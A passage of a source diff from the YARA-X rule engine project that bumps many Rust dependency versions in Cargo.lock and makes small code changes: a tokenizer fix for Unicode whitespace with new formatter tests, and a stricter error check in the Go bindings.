[ + "serde", + "serde_core", +] [[package]] name = "serde" -version = "1.0.228" +version = "1.0.229" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba" dependencies = [ "serde_core", "serde_derive", @@ -1775,30 +1879,31 @@ dependencies = [ [[package]] name = "serde_core" -version = "1.0.228" +version = "1.0.229" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.228" +version = "1.0.229" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 3.0.9", ] [[package]] name = "serde_json" -version = "1.0.149" +version = "1.0.154" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +checksum = "e7e9cc8b1b85264074fbcc02a88680c4096b1e47df8f739dceb03bf482f04bd6" dependencies = [ + "foldhash", "indexmap", "itoa", "memchr", @@ -1807,15 +1912,25 @@ dependencies = [ "zmij", ] +[[package]] +name = "serdect" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66cf8fedced2fcf12406bcb34223dffb92eaf34908ede12fed414c82b7f00b3e" +dependencies = [ + "base16ct", + "serde", +] + [[package]] name = "sha1" -version = "0.10.6" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +checksum = "aacc4cc499359472b4abe1bf11d0b12e688af9a805fa5e3016f9a386dc2d0214" dependencies = [ "cfg-if", - "cpufeatures", - "digest", + "cpufeatures 0.3.1", + "digest 0.11.3", ] [[package]] @@ -1825,8 +1940,19 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" dependencies = [ "cfg-if", - "cpufeatures", - "digest", + "cpufeatures 0.2.17", + "digest 0.10.7", +] + +[[package]] +name = "sha2" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47d7069beb7d6ac7b9acd1039986e73443f24234f41074da099d6f994ac9ad19" +dependencies = [ + "cfg-if", + "cpufeatures 0.3.1", + "digest 0.11.3", ] [[package]] @@ -1837,25 +1963,25 @@ checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" [[package]] name = "signature" -version = "2.2.0" +version = "3.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +checksum = "28d567dcbaf0049cb8ac2608a76cd95ff9e4412e1899d389ee400918ca7537f5" dependencies = [ - "digest", + "digest 0.11.3", "rand_core", ] [[package]] name = "simd-adler32" -version = "0.3.9" +version = "0.3.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "703d5c7ef118737c72f1af64ad2f6f8c5e1921f818cdcb97b8fe6fc69bf66214" +checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea" [[package]] name = "simd_cesu8" -version = "1.1.1" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94f90157bb87cddf702797c5dadfa0be7d266cdf49e22da2fcaa32eff75b2c33" +checksum = "11031e251abf8611c80f460e19dbdeb54a66db918e49c65a7065b46ac7aec520" dependencies = [ "rustc_version", "simdutf8", @@ -1882,17 +2008,11 @@ dependencies = [ "serde", ] -[[package]] -name = "spin" -version = "0.9.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" - [[package]] name = "spki" -version = "0.7.3" +version = "0.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +checksum = "7ef958a98b9d5da290cfc78946e9f3e61e1e62a18db0d92cac0b83cc161491a9" dependencies = [ "base64ct", "der", @@ -1919,7 +2039,7 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -1939,6 +2059,17 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "syn" +version = "3.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d78c8dee4c7bf0e14673097256fed6142ce9d3b85a408189d07482442145823b" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + [[package]] name = "synstructure" version = "0.13.2" @@ -1947,7 +2078,7 @@ checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -1969,7 +2100,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" dependencies = [ "fastrand", - "getrandom 0.4.2", + "getrandom", "once_cell", "rustix 1.1.4", "windows-sys 0.61.2", @@ -2001,11 +2132,11 @@ dependencies = [ [[package]] name = "thiserror" -version = "2.0.18" +version = "2.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +checksum = "09e52cb86a36cede5cb101bf8908837b3e4c6e5e59fe7fd85c23fb56200d189e" dependencies = [ - "thiserror-impl 2.0.18", + "thiserror-impl 2.0.21", ] [[package]] @@ -2016,18 +2147,18 @@ checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] name = "thiserror-impl" -version = "2.0.18" +version = "2.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +checksum = "fe5197923287db20a58125f0bc85c062f7f2c892de97b18c356f9efb14b28524" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 3.0.9", ] [[package]] @@ -2069,9 +2200,9 @@ checksum = "6847a2bf223d67c916a25d5fb8d197fc1c7c3205421e05d50f3373e092034146" [[package]] name = "typed-path" -version = "0.12.3" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e28f89b80c87b8fb0cf04ab448d5dd0dd0ade2f8891bae878de66a75a28600e" +checksum = "9ce898823d8cd0f028662d2f349694b1af0a5cc9be83f1d213a00d3147445e1e" [[package]] name = "typenum" @@ -2091,12 +2222,6 @@ version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254" -[[package]] -name = "unicode-xid" -version = "0.2.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" - [[package]] name = "unty" version = "0.0.4" @@ -2105,9 +2230,9 @@ checksum = "6d49784317cd0d1ee7ec5c716dd598ec5b4483ea832a2dced265471cc0f690ae" [[package]] name = "uuid" -version = "1.23.4" +version = "1.29.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bf80a72845275afea99e7f2b434723d3bc7e38470fcd1c7ed39a599c73319a53" +checksum = "4a0e2d11620c50695fe12bbbfde96b3477fe606e7284c22d505c12ce51214514" dependencies = [ "js-sys", "wasm-bindgen", @@ -2137,9 +2262,9 @@ dependencies = [ [[package]] name = "walrus" -version = "0.26.4" +version = "0.27.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3bfa49767bb3a9e1afb02aa95bbcbde8d82f2db4ca377afae94d688f14f62378" +checksum = "5691aeb3546554822fe2c13d63149c26a027cd07d900a72c7c7f37f4321bfaea" dependencies = [ "anyhow", "gimli 0.32.3", @@ -2160,41 +2285,16 @@ dependencies = [ "heck", "proc-macro2", "quote", - "syn", -] - -[[package]] -name = "wasi" -version = "0.11.1+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" - -[[package]] -name = "wasip2" -version = "1.0.3+wasi-0.2.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "20064672db26d7cdc89c7798c48a0fdfac8213434a1186e5ef29fd560ae223d6" -dependencies = [ - "wit-bindgen 0.57.1", -] - -[[package]] -name = "wasip3" -version = "0.4.0+wasi-0.3.0-rc-2026-01-06" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" -dependencies = [ - "wit-bindgen 0.51.0", + "syn 2.0.117", ] [[package]] name = "wasm-bindgen" -version = "0.2.126" +version = "0.2.130" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b067c0c11094aef6b7a801c1e34a26affafdf3d051dba08456b868789aaf9a4" +checksum = "a0181c14ddd6c7b8b0b0132a5f1ea2f32be0d893cd3ea97b6e3b28886b8a3d1c" dependencies = [ "cfg-if", - "once_cell", "rustversion", "wasm-bindgen-macro", "wasm-bindgen-shared", @@ -2202,9 +2302,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.126" +version = "0.2.130" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "167ce5e579f6bcf889c4f7175a8a5a585de84e8ff93976ce393efa5f2837aab1" +checksum = "6e931a02a39abdbf66966fc35902b5ed58344750a70885bed4ebb3d8eaf28ed9" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -2212,36 +2312,26 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.126" +version = "0.2.130" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f3997c7839262f4ef12cf90b818d6340c18e80f263f1a94bf157d0ec4420380e" +checksum = "2ca4b54280e455bd831e33a6b8e734baf432fe63fbc35c42ac14ce67a043a53a" dependencies = [ "bumpalo", "proc-macro2", "quote", - "syn", + "syn 3.0.9", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.126" +version = "0.2.130" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc1b4cb0cc549fcf58d7dfc081778139b3d283a081644e833e84682ad71cea24" +checksum = "3b1f9c3798725016c6ee5f2f57869ec0831e8bbc0ab0310a86e787e97f41389e" dependencies = [ "unicode-ident", ] -[[package]] -name = "wasm-encoder" -version = "0.244.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" -dependencies = [ - "leb128fmt", - "wasmparser 0.244.0", -] - [[package]] name = "wasm-encoder" version = "0.245.1" @@ -2253,37 +2343,36 @@ dependencies = [ ] [[package]] -name = "wasm-metadata" -version = "0.244.0" +name = "wasm-encoder" +version = "0.254.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +checksum = "ebaca0b540bdb15d195ff34fb23074255948708b8916a11a339ba4513dc61906" dependencies = [ - "anyhow", - "indexmap", - "wasm-encoder 0.244.0", - "wasmparser 0.244.0", + "leb128fmt", + "wasmparser 0.254.2", ] [[package]] name = "wasmparser" -version = "0.244.0" +version = "0.245.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +checksum = "4f08c9adee0428b7bddf3890fc27e015ac4b761cc608c822667102b8bfd6995e" dependencies = [ "bitflags", - "hashbrown 0.15.5", + "hashbrown 0.16.1", "indexmap", "semver", + "serde", ] [[package]] name = "wasmparser" -version = "0.245.1" +version = "0.254.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f08c9adee0428b7bddf3890fc27e015ac4b761cc608c822667102b8bfd6995e" +checksum = "c5ff8685b587722894b6f25958fc608d315b93b8d23647bfb567664e7006d757" dependencies = [ "bitflags", - "hashbrown 0.16.1", + "hashbrown 0.17.1", "indexmap", "semver", "serde", @@ -2291,27 +2380,27 @@ dependencies = [ [[package]] name = "wasmprinter" -version = "0.245.1" +version = "0.254.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f41517a3716fbb8ccf46daa9c1325f760fcbff5168e75c7392288e410b91ac8" +checksum = "8b03c8f270f3f384f70f42869b5ff7f6253fe4f0aa8590f7edd332c1943e5f51" dependencies = [ "anyhow", "termcolor", - "wasmparser 0.245.1", + "wasmparser 0.254.2", ] [[package]] name = "wasmtime" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "efb1ed5899dde98357cfdcf647a4614498798719793898245b4b34e663addabf" +checksum = "a2afcadb2e7d0417cb8f3f322c66eff49338b288f22290c0ca0bd3e9570732aa" dependencies = [ "addr2line", "async-trait", "bitflags", "bumpalo", "cc", - "cfg-if", + "futures", "libc", "log", "mach2", @@ -2325,7 +2414,7 @@ dependencies = [ "serde_derive", "smallvec", "target-lexicon", - "wasmparser 0.245.1", + "wasmparser 0.254.2", "wasmtime-environ", "wasmtime-internal-core", "wasmtime-internal-cranelift", @@ -2339,63 +2428,72 @@ dependencies = [ [[package]] name = "wasmtime-environ" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4172382dcc785c31d0e862c6780a18f5dd437914d22c4691351f965ef751c821" +checksum = "2de252f4aedfff6c2054ea5bea2454878a931c56e2553c6356b581e5e30a7e4e" dependencies = [ "anyhow", + "cpp_demangle", "cranelift-bforest", "cranelift-bitset", "cranelift-entity", "gimli 0.33.0", - "hashbrown 0.16.1", + "hashbrown 0.17.1", "indexmap", "log", "object", "postcard", + "rustc-demangle", + "semver", "serde", "serde_derive", - "sha2", + "sha2 0.10.9", "smallvec", "target-lexicon", - "wasm-encoder 0.245.1", - "wasmparser 0.245.1", + "wasm-encoder 0.254.2", + "wasmparser 0.254.2", "wasmprinter", + "wasmtime-internal-component-util", "wasmtime-internal-core", ] +[[package]] +name = "wasmtime-internal-component-util" +version = "48.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5ad52499e6246d30bf8bf509506bd637248eee17c8dd623e0c7dbe43e7a1036" + [[package]] name = "wasmtime-internal-core" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a3820b174f477d2a7083209d1ad5353fcdb11eaea434b2137b8681029460dd3" +checksum = "d8838d7debfc98a69342d260a990ea6f64adf498184915fccfdbd6718bb40a9b" dependencies = [ - "hashbrown 0.16.1", + "hashbrown 0.17.1", "libm", "serde", ] [[package]] name = "wasmtime-internal-cranelift" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d1679d205caf9766c6aa309d45bb3e7c634d7725e3164404df33824b9f7c4fb7" +checksum = "478c09af53c545d96227b349d35c70fc78e99816923f41428ffff00974bcd145" dependencies = [ - "cfg-if", "cranelift-codegen", "cranelift-control", "cranelift-entity", "cranelift-frontend", "cranelift-native", "gimli 0.33.0", - "itertools", + "itertools 0.14.0", "log", "object", "pulley-interpreter", "smallvec", "target-lexicon", - "thiserror 2.0.18", - "wasmparser 0.245.1", + "thiserror 2.0.21", + "wasmparser 0.254.2", "wasmtime-environ", "wasmtime-internal-core", "wasmtime-internal-unwinder", @@ -2404,12 +2502,11 @@ dependencies = [ [[package]] name = "wasmtime-internal-fiber" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1e505254058be5b0df458d670ee42d9eafe2349d04c1296e9dc01071dc20a85" +checksum = "96dce7a8ea302c0f1eb4154eb1756525c90c595bbabbc590abad64d4c5ff8bbb" dependencies = [ "cc", - "cfg-if", "libc", "rustix 1.1.4", "wasmtime-environ", @@ -2419,9 +2516,9 @@ dependencies = [ [[package]] name = "wasmtime-internal-jit-debug" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c2e05b345f1773e59c20e6ad7298fd6857cdea245023d88bb659c96d8f0ea72" +checksum = "895f3231b24ce0c12c8a7bb129a9f6ddc6772ec78e59748e53af743dcdd733d1" dependencies = [ "cc", "wasmtime-internal-versioned-export-macros", @@ -2429,11 +2526,10 @@ dependencies = [ [[package]] name = "wasmtime-internal-jit-icache-coherence" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b86701b234a4643e3f111869aa792b3a05a06e02d486ee9cb6c04dae16b52dab" +checksum = "28b60a0c1f735da6b862679b763f8bab653caa477ccc603a25752488b795fec5" dependencies = [ - "cfg-if", "libc", "wasmtime-internal-core", "windows-sys 0.61.2", @@ -2441,11 +2537,10 @@ dependencies = [ [[package]] name = "wasmtime-internal-unwinder" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f63558d801beb83dde9b336eb4ae049019aee26627926edb32cd119d7e4c83cd" +checksum = "b97b2c29c8f458bdf1b948058bfbb8141aad0f7abcf0f7cb3479866f4316bf3c" dependencies = [ - "cfg-if", "cranelift-codegen", "log", "object", @@ -2454,13 +2549,13 @@ dependencies = [ [[package]] name = "wasmtime-internal-versioned-export-macros" -version = "43.0.2" +version = "48.0.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "737c4d956fc3a848541a064afb683dd2771132a6b125be5baaf95c4379aa47df" +checksum = "32766b38d56927eca9a65858ea8c7b1803424db82562aafd69727aa970057561" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -2505,7 +2600,7 @@ checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -2516,7 +2611,7 @@ checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" dependencies = [ "proc-macro2", "quote", - "syn", + "syn 2.0.117", ] [[package]] @@ -2626,97 +2721,15 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" [[package]] -name = "wit-bindgen" -version = "0.51.0" +name = "wnaf" +version = "0.14.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +checksum = "795ca18b3fdb5e62bf982199278341ddcf7ebf7d32e25e212ad05d496e95f6fa" dependencies = [ - "wit-bindgen-rust-macro", -] - -[[package]] -name = "wit-bindgen" -version = "0.57.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e" - -[[package]] -name = "wit-bindgen-core" -version = "0.51.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" -dependencies = [ - "anyhow", - "heck", - "wit-parser", -] - -[[package]] -name = "wit-bindgen-rust" -version = "0.51.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" -dependencies = [ - "anyhow", - "heck", - "indexmap", - "prettyplease", - "syn", - "wasm-metadata", - "wit-bindgen-core", - "wit-component", -] - -[[package]] -name = "wit-bindgen-rust-macro" -version = "0.51.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" -dependencies = [ - "anyhow", - "prettyplease", - "proc-macro2", - "quote", - "syn", - "wit-bindgen-core", - "wit-bindgen-rust", -] - -[[package]] -name = "wit-component" -version = "0.244.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" -dependencies = [ - "anyhow", - "bitflags", - "indexmap", - "log", - "serde", - "serde_derive", - "serde_json", - "wasm-encoder 0.244.0", - "wasm-metadata", - "wasmparser 0.244.0", - "wit-parser", -] - -[[package]] -name = "wit-parser" -version = "0.244.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" -dependencies = [ - "anyhow", - "id-arena", - "indexmap", - "log", - "semver", - "serde", - "serde_derive", - "serde_json", - "unicode-xid", - "wasmparser 0.244.0", + "ff", + "group", + "hybrid-array", + "primefield", ] [[package]] @@ -2741,7 +2754,7 @@ dependencies = [ "nom 7.1.3", "oid-registry", "rusticata-macros", - "thiserror 2.0.18", + "thiserror 2.0.21", "time", ] @@ -2753,7 +2766,7 @@ checksum = "cfe53a6657fd280eaa890a3bc59152892ffa3e30101319d168b781ed6529b049" [[package]] name = "yara-x" -version = "1.19.0" +version = "1.22.1" dependencies = [ "annotate-snippets", "anyhow", @@ -2766,18 +2779,18 @@ dependencies = [ "crc32fast", "daachorse", "der-parser", - "digest", + "digest 0.11.3", "dsa", "ecdsa", "flate2", - "getrandom 0.2.17", + "getrandom", "globwalk", "hex", "indexmap", "intaglio", "inventory", "ipnet", - "itertools", + "itertools 0.15.0", "js-sys", "md-5", "md2", @@ -2797,16 +2810,16 @@ dependencies = [ "regex-syntax", "roxmltree", "rsa", - "rustc-hash 2.1.2", + "rustc-hash 2.1.3", "serde", "serde_json", "sha1", - "sha2", + "sha2 0.11.1", "simd-adler32", "simd_cesu8", "smallvec", "strum_macros", - "thiserror 2.0.18", + "thiserror 2.0.21", "tinyzip", "uuid", "walrus", @@ -2821,62 +2834,42 @@ dependencies = [ [[package]] name = "yara-x-macros" -version = "1.19.0" +version = "1.22.1" dependencies = [ "darling", "proc-macro2", "quote", - "syn", + "syn 3.0.9", ] [[package]] name = "yara-x-parser" -version = "1.19.0" +version = "1.22.1" dependencies = [ "ascii_tree", "bitflags", "bstr", "indexmap", - "itertools", + "itertools 0.15.0", "logos", "num-traits", "rowan", - "rustc-hash 2.1.2", + "rustc-hash 2.1.3", "serde", ] [[package]] name = "yara-x-proto" -version = "1.19.0" +version = "1.22.1" dependencies = [ "base64", "chrono", - "itertools", + "itertools 0.15.0", "protobuf", "protobuf-codegen", "yansi", ] -[[package]] -name = "zerocopy" -version = "0.8.48" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eed437bf9d6692032087e337407a86f04cd8d6a16a37199ed57949d415bd68e9" -dependencies = [ - "zerocopy-derive", -] - -[[package]] -name = "zerocopy-derive" -version = "0.8.48" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70e3cd084b1788766f53af483dd21f93881ff30d7320490ec3ef7526d203bad4" -dependencies = [ - "proc-macro2", - "quote", - "syn", -] - [[package]] name = "zeroize" version = "1.8.2" @@ -2885,15 +2878,19 @@ checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" [[package]] name = "zip" -version = "8.6.0" +version = "9.3.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2d04a6b5381502aa6087c94c669499eb1602eb9c5e8198e534de571f7154809b" +checksum = "eaeb7f16d2605b49aef586996ded29e65642fab7259a3077e537351df6d80426" dependencies = [ "crc32fast", "flate2", + "getrandom", "indexmap", + "libc", "memchr", + "nix", "typed-path", + "windows-sys 0.61.2", "zopfli", ] diff --git a/examples/custom-module/proto/foobar.proto b/examples/custom-module/proto/foobar.proto index 5dfbfa97a..70ea7711f 100644 --- a/examples/custom-module/proto/foobar.proto +++ b/examples/custom-module/proto/foobar.proto @@ -10,7 +10,7 @@ option (yara.module_options) = { }; message Foobar { - optional uint64 count = 1; + optional int64 count = 1; optional string label = 2; repeated string tags = 3; } diff --git a/examples/custom-module/src/lib.rs b/examples/custom-module/src/lib.rs index 3629f3c63..4cc1d8f3a 100644 --- a/examples/custom-module/src/lib.rs +++ b/examples/custom-module/src/lib.rs @@ -23,7 +23,7 @@ fn foobar_main( data: &[u8], ) -> Result { let mut out = Foobar::new(); - out.count = Some(data.len() as u64); + out.count = Some(data.len() as i64); out.label = Some("foobar".to_owned()); Ok(out) } diff --git a/fmt/src/tests.rs b/fmt/src/tests.rs index 13890eb68..67a1d5dbd 100644 --- a/fmt/src/tests.rs +++ b/fmt/src/tests.rs @@ -154,3 +154,60 @@ fn format_config_options() { ); } } + +#[test] +fn format_deeply_nested_rule() { + let deep_cond = format!("{}true{}", "(".repeat(5_000), ")".repeat(5_000)); + let input = format!( + "rule deep {{\n condition:\n {deep_cond}\n}}\nrule ok {{condition:true}}\n" + ); + + let mut output = Vec::new(); + Formatter::new() + .format(input.as_bytes(), &mut output) + .expect("format failed"); + + let formatted = str::from_utf8(&output).unwrap(); + // The `deep` rule's condition exceeds `MAX_CST_DEPTH` and is wrapped in an + // `ERROR` node whose original text must be preserved verbatim, while the + // subsequent `ok` rule is still formatted normally. + assert!(formatted.contains(&deep_cond)); + assert!(formatted.contains("rule ok {\n condition:\n true\n}")); +} + +#[test] +fn format_unicode_whitespace() { + let unicode_spaces = [ + '\u{00a0}', '\u{1680}', '\u{2000}', '\u{2001}', '\u{2002}', + '\u{2003}', '\u{2004}', '\u{2005}', '\u{2006}', '\u{2007}', + '\u{2008}', '\u{2009}', '\u{200a}', '\u{202f}', '\u{205f}', + '\u{3000}', + ]; + + for ws in unicode_spaces { + let input = format!( + "rule{ws}test{ws}{{{ws}strings:{ws}$a{ws}={ws}{{{ws}AA{ws}[{ws}1{ws}-{ws}2{ws}]{ws}BB{ws}}}{ws}condition:{ws}$a{ws}}}\n" + ); + let mut output = Vec::new(); + let changed = Formatter::new() + .format(input.as_bytes(), &mut output) + .expect("format failed"); + + assert!(changed); + assert_eq!( + str::from_utf8(&output).unwrap(), + "rule test {\n strings:\n $a = { AA [1-2] BB }\n\n condition:\n $a\n}\n" + ); + } + + // Characters considered whitespace by `char::is_whitespace` that are not + // valid YARA whitespace are preserved inside `ERROR` nodes without panicking. + for ws in ['\u{0085}', '\u{2028}', '\u{2029}'] { + let input = format!("rule test {{ {ws}condition: true }}\n"); + let mut output = Vec::new(); + Formatter::new() + .format(input.as_bytes(), &mut output) + .expect("format failed"); + assert!(str::from_utf8(&output).unwrap().contains(ws)); + } +} diff --git a/fmt/src/tokens/mod.rs b/fmt/src/tokens/mod.rs index b80c321e9..79796171c 100644 --- a/fmt/src/tokens/mod.rs +++ b/fmt/src/tokens/mod.rs @@ -537,11 +537,12 @@ where let s = unsafe { from_utf8_unchecked(token_bytes) }; for ch in s.chars() { match ch { - ' ' => { - self.buffer.push_back(Token::Whitespace) - } '\t' => self.buffer.push_back(Token::Tab), - _ => unreachable!(), + // Besides ASCII spaces (`' '`), the tokenizer + // also accepts Unicode space characters as + // `SyntaxKind::WHITESPACE`; normalize all of + // them to `Token::Whitespace`. + _ => self.buffer.push_back(Token::Whitespace), }; } self.buffer.pop_front() diff --git a/fmt/src/tokens/tests.rs b/fmt/src/tokens/tests.rs index 67a0dbba1..18dc42ea8 100644 --- a/fmt/src/tokens/tests.rs +++ b/fmt/src/tokens/tests.rs @@ -156,5 +156,38 @@ fn whitespaces() { End(SyntaxKind::RULE_DECL), End(SyntaxKind::SOURCE_FILE), ] - ) + ); + + let rule = + "rule\u{00a0}test\u{1680}{\u{3000}condition:\u{205f}true\u{2000}}"; + let events = CSTStream::from(Parser::new(rule.as_bytes())); + let tokens: Vec = Tokens::new(rule.as_bytes(), events).collect(); + + assert_eq!( + tokens, + vec![ + Begin(SyntaxKind::SOURCE_FILE), + Begin(SyntaxKind::RULE_DECL), + Keyword(b"rule"), + Whitespace, + Identifier(b"test"), + Whitespace, + Punctuation(b"{"), + Whitespace, + Begin(SyntaxKind::CONDITION_BLK), + Keyword(b"condition"), + Punctuation(b":"), + Whitespace, + Begin(SyntaxKind::BOOLEAN_EXPR), + Begin(SyntaxKind::BOOLEAN_TERM), + Keyword(b"true"), + End(SyntaxKind::BOOLEAN_TERM), + End(SyntaxKind::BOOLEAN_EXPR), + End(SyntaxKind::CONDITION_BLK), + Whitespace, + Punctuation(b"}"), + End(SyntaxKind::RULE_DECL), + End(SyntaxKind::SOURCE_FILE), + ] + ); } diff --git a/go/compiler.go b/go/compiler.go index 9b61b7db3..1ed72497f 100644 --- a/go/compiler.go +++ b/go/compiler.go @@ -415,7 +415,7 @@ func (c *Compiler) AddSource(src string, opts ...SourceOption) error { // different thread in-between the two calls to the C API. runtime.LockOSThread() defer runtime.UnlockOSThread() - if C.yrx_compiler_add_source_with_origin(c.cCompiler, cSrc, cOrigin) == C.YRX_SYNTAX_ERROR { + if C.yrx_compiler_add_source_with_origin(c.cCompiler, cSrc, cOrigin) != C.YRX_SUCCESS { return errors.New(C.GoString(C.yrx_last_error())) } // After the call to yrx_compiler_add_source, c is not live anymore and @@ -573,7 +573,7 @@ func (c *Compiler) 